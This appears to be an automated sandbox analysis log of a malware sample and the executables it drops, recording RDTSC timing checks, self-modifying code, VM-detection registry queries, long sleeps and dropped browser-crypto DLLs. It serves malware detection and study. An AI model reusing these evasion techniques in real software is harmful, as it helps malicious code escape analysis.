Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6772C2 second address: 6772E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+12446128h], ecx 0x0000000e push 00000000h 0x00000010 and si, 647Ah 0x00000015 push 00000000h 0x00000017 mov esi, dword ptr [ebp+122D1CA6h] 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6733B3 second address: 6733C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67BD19 second address: 67BD1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 636021 second address: 636035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4390A66BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 636035 second address: 636039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 636039 second address: 636043 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 636043 second address: 636053 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB438C61F2Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67CD87 second address: 67CD8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67CD8B second address: 67CD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67CD91 second address: 67CD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67DC94 second address: 67DCA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F31h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67DCA9 second address: 67DCBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FB4390A66B6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67DCBC second address: 67DCC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67DCC2 second address: 67DD2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+122D2BC9h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FB4390A66B8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+124457C6h], edx 0x00000032 and di, 1587h 0x00000037 push edi 0x00000038 cld 0x00000039 pop ebx 0x0000003a push 00000000h 0x0000003c mov di, 833Bh 0x00000040 xchg eax, esi 0x00000041 jp 00007FB4390A66C0h 0x00000047 pushad 0x00000048 jns 00007FB4390A66B6h 0x0000004e push ebx 0x0000004f pop ebx 0x00000050 popad 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 pushad 0x00000056 popad 0x00000057 pop eax 0x00000058 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67FE18 second address: 67FE31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F35h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 67FE31 second address: 67FE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 680D12 second address: 680D2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 680D2A second address: 680D70 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4390A66B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx ebx, di 0x0000000e push 00000000h 0x00000010 mov edi, esi 0x00000012 push 00000000h 0x00000014 and edi, 654BF79Dh 0x0000001a push eax 0x0000001b pushad 0x0000001c push ecx 0x0000001d jmp 00007FB4390A66BCh 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB4390A66C8h 0x0000002a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 681E28 second address: 681E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 681E2D second address: 681E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 681E33 second address: 681E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB438C61F2Eh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 681E63 second address: 681ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007FB4390A66C3h 0x0000000f mov edi, dword ptr [ebp+122D1F39h] 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FB4390A66B8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov bl, B8h 0x00000036 jmp 00007FB4390A66C4h 0x0000003b push eax 0x0000003c jc 00007FB4390A66C4h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 682F0D second address: 682F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 682F12 second address: 682F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB4390A66B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FB4390A66B8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 and bx, 64D5h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FB4390A66B8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 jp 00007FB4390A66B9h 0x0000004f mov di, ax 0x00000052 push 00000000h 0x00000054 jnc 00007FB4390A66C6h 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FB4390A66C4h 0x00000062 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 682F9B second address: 682FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 682FA1 second address: 682FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f ja 00007FB4390A66B6h 0x00000015 jno 00007FB4390A66B6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 683F04 second address: 683F0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 683F0A second address: 683F21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FB4390A66BCh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 674F72 second address: 674F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB438C61F26h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 684E80 second address: 684E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 685E44 second address: 685E51 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F26 second address: 687F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F2A second address: 687F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F30 second address: 687F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F36 second address: 687F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F3A second address: 687F57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB4390A66C3h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F57 second address: 687F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F33h 0x00000007 jbe 00007FB438C61F26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 687F7B second address: 687F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68851A second address: 688572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FB438C61F28h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b movzx edi, di 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 mov dword ptr [ebp+122D2B47h], edx 0x00000037 pop edi 0x00000038 movzx edi, di 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 688572 second address: 68858F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB4390A66C6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68A50C second address: 68A516 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB438C61F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68A516 second address: 68A571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB4390A66BCh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov edi, ebx 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D20D1h] 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D3C24h], edi 0x00000020 xchg eax, esi 0x00000021 jc 00007FB4390A66C7h 0x00000027 pushad 0x00000028 jmp 00007FB4390A66BDh 0x0000002d push edx 0x0000002e pop edx 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FB4390A66C8h 0x00000039 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68A571 second address: 68A575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68B41A second address: 68B435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4390A66C0h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68B435 second address: 68B43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68B43B second address: 68B440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 68B440 second address: 68B4C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FB438C61F28h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov ebx, dword ptr [ebp+122D3A01h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FB438C61F28h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 pushad 0x00000049 mov dword ptr [ebp+122D2230h], edx 0x0000004f mov ecx, dword ptr [ebp+122D2E91h] 0x00000055 popad 0x00000056 mov bx, si 0x00000059 je 00007FB438C61F2Bh 0x0000005f sbb bx, CA51h 0x00000064 xchg eax, esi 0x00000065 pushad 0x00000066 push ebx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 59B541 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 599C4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6223A0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Special instruction interceptor: First address: 4CEE39 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Special instruction interceptor: First address: 6651B4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Special instruction interceptor: First address: 4CEDC1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Special instruction interceptor: First address: 6F3EC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AEE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2451B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AEDC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2D3EC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: DBE9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: DBEA4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: F706F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: F6ECD5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: F834B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: FFDE6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Special instruction interceptor: First address: D0B541 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Special instruction interceptor: First address: D09C4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Special instruction interceptor: First address: D923A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: FADC14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: FADC98 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: FADBE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: 114DA73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: 1158CC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: 11E8991 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: 61FB541 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: 61F9C4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Special instruction interceptor: First address: 62823A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Special instruction interceptor: First address: FB3E17 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 4A40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 4BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 6BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 55D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 57B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 77B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 5670000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 58A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Memory allocated: 5670000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsECBGHCGCBK.exe

Code function: 22_2_04FA0CDD rdtsc

22_2_04FA0CDD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 424
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8579

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 1432	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8664	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8664	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8676	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8676	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8784	Thread sleep count: 424 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8784	Thread sleep time: -12720000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8656	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8656	Thread sleep time: -138069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8228	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8684	Thread sleep count: 53 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8684	Thread sleep time: -106053s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8656	Thread sleep count: 8579 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8656	Thread sleep time: -17166579s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe TID: 8908	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe TID: 2740	Thread sleep time: -30000s >= -30000s
